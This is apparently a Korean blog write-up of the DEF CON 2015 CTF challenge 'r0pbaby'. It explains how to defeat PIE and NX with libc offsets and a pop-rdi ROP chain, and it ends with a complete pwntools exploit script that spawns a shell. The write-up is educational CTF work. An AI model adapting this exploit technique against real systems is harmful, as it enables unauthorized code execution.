Defcon2015 r0pbaby Write Up - PIE 우회
안녕하세요. Luke입니다.
오늘은 저의 작은 프로젝트이자 목표였던 메모리 보호기법을 처음으로 모두 Write-Up까지 클리어하는 날 입니다! 축하해주세요. 이에 대해서는 프로젝트 마무리 후기로 글을 따로 작성하도록 하겠습니다. 이 글은 r0pbaby를 푸는 글이니까요!
*주의사항: 해당 바이너리는 우분투 18.04에서 익스플로잇을 할 수 없었습니다..... 16.04환경에서 도전해주세요.
먼저 바이너리를 열어봅니다.
그냥 실행하면 이런 메뉴가 나오게 됩니다.
1번을 선택하면 이렇게 libc.so.6의 주소가 나오고,
2번을 선택하면 원하는 symbol의 주소를 물어보고 해당 symbol이 위치한 주소를 알려줍니다.
그리고 3번을 통해 입력을 받는데, 처음에 입력한 수만큼의 크기를 입력받는 것 같습니다.
그리고 4는 Exit 말그대로 종료되는 것이어서 생략했습니다.
그럼 걸린 메모리 보호기법을 확인해 보았습니다.
PIE를 익히기 위해 푼 바이너리이니, 당연히 PIE가 걸려있고 쉘코드를 실행하지 못하게 NX가 걸려있네요. 그 외에는 걸려있지 않아 그나마 편해보입니다(?)
그럼 이제 IDA를 이용해 정적분석을 해보도록 하겠습니다. main함수가 너무 길어서 여개로 나누어서 업로드하였습니다.
그 중에 우리가 살펴봐야 할 건 당연히 아까의 3번 메뉴, 취약점이 터질 거 같이 입력을 받는 부분이겠지요.
입력 받을 크기를 입력 받고, 해당 입력만큼 입력을 받아 nptr에 저장한 다음, LABEL_22로 이동합니다.
LABEL_22에서는 nptr을 savedregs로 복사합니다.
그럼 오버플로우를 위해 savedregs나 nptr의 위치를 생각해보면 되겠군요!
savedregs가 rbp+0h, 즉 정확히 sfp에 위치합니다. 그 점을 이용해 익스플로잇 하면 될 것 같습니다.
그럼 이제 익스플로잇 페이로드를 생각해보자면
dummy(8byte) + pop rdi 가젯(8byte) + +binsh 문자열의 주소(8byte) + 2번 메뉴를 통해 구한 system의 심볼(8byte)
이렇게 총 32바이트의 페이로드가 될 것 같습니다.
그런데...! 이 바이너리는 PIE가 걸려있습니다. PIE는 바이너리 영역의 주소를 랜덤화 시키므로, ASLR을 우회했듯이 모든 것을 offset을 이용한 상대적인 주소로 입력해야 합니다.
그럼 도대체 우리는 어떻게 이 문제를 풀어야 할까요?
저는 libc의 offset을 이용하여 해당 문제를 풀었습니다.
먼저 우리가 필요한 것을 확실히 해두고 넘어가겠습니다.
1. libc로 부터의 상대적인 system함수의 오프
. ibc로 부터의 상대적인 binsh가 기록된 위치의 오프셋
3. libc로 부터의 상대적인 pop rdi ret이 기록된 위치의 오프셋
먼저, 아까 IDA에서 분석했듯이 해당 바이너리는 libc.so.6의 공유라이브러리를 참고합니다.
libc.so.6은 /lib/x86_64-linux-gnu/libc.so.6에 위치해 있습니다.
그럼 먼저 system함수의 offset을 구해보겠습니다.
libc.so.6을 gdb-peda로 연 다음 system의 주소를 검색했습니다.
system함수는 libc로 부터 0x45390에 위치해 있습니다.
그럼 이제 binsh가 기록된 위치의 오프셋을 구해보겠습니다.
평소 하듯이 peda의 사기 기능인 find로 찾아보려 했으나... 바이너리가 아니라 find가 되질 않더라고요.(바이너리가 아니니 당연히 실행도 안됩니다.)
그래서 문제를 풀면서 찾은 것이 strings 였습니다. 파일 내의 string을 찾아주는 기능이라고 하더군요. peda를 끝내주고, strings를 통해 /bin/sh의 주소를 구했습니다.(strings 사용법: https://crasy.tistory.com/80 )
/bin/sh는 libc로 부터 0x18cd57에 위치해 있습니다.
그럼 마지막 pop ret을 구하면 되겠군요!
이 것 역시 peda로 ropsearch로 삽질을 하면 될 줄 알았으나...
당연히 바이너리가 아니므로 start나 run이 안되므로 사용이 불가능합니다... 그렇기에 rp++라는 것을 처음 사용해보았습니다. (rp++ 다운로드: https://github.com/0vercl0k/rp/downloads , 사용법: https://github.com/0vercl0k/rp )
수없이 많은 가젯들이 나옵니다 이중에 하나 골라서 주소를 메모해 둡니다.
저는 0x0002189b을 오프셋으로 사용하겠습니다.
그럼 준비물이 다 준비 되었으니 제대로된 익스 시나리오를 짜봅시다.
1. 2번 기능을 이용해 system함수의 심볼 주소를 구한다.
2. system함수의 심볼 주소에서 system함수의 오프셋을 빼 libc_base를 찾는다.
3. libc_base에서 아까 구한 binsh와 pop rdi 오프셋을 이용해 주소를 알아낸다.
4. 위에서 말한 페이로드대로 익스플로잇 한다!
이렇게 익스플로잇 하면 될 것 같습니다. 익스해봅시다!
from pwn import *
#context.log_level = 'debug'
bina="./r0pbaby"
p=process(bina)
e=ELF(bina)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def get_libc():
p.sendline('1')
p.recvuntil('libc.so.6: ')
a=p.recv(18)
log.success('libc Address: '+a)
return a
def get_addr(func):
p.sendline('2')
p.recvuntil('Enter symbol: ')
p.sendline(func)
p.recvuntil(': ')
a=p.recv(18)
log.success(func+' address: '+a)
return a
def input_buf(size,buf):
p.sendline('3')
p.recvuntil(': ')
p.sendline(size)
p.sendline(buf)
binsh_off=0x18cd57
pr_off=0x0002189b
log.success("binsh_off: "+str(hex(binsh_off)))
log.success("pr_off: "+str(hex(pr_off)))
p.recv(1024)
libc_addr=int(get_libc(),16)
system_addr=int(get_addr('system'),16)
system_symbol=libc.symbols['system']
libc_base=system_addr-system_symbol
binsh_addr=libc_base+binsh_off
pr=libc_base+pr_off
log.info("libc_base: "+hex(libc_base))
log.info("sys_addr: "+hex(system_addr))
log.info("binsh: "+hex(binsh_addr))
log.info("pop rdi: "+hex(pr))
pay="A"*8
pay+=p64(pr)
pay+=p64(binsh_addr)
pay+=p64(system_addr)
paysize=(str(len(pay)))
log.success("paysize: "+paysize)
input_buf(paysize,pay)
p.interactive()
익스에 성공하였습니다!
이로써 모든 메모리보호기법을 클리어했습니다! 프로젝트 마무리 후기로 조만간 찾아 뵙겠습니다~@!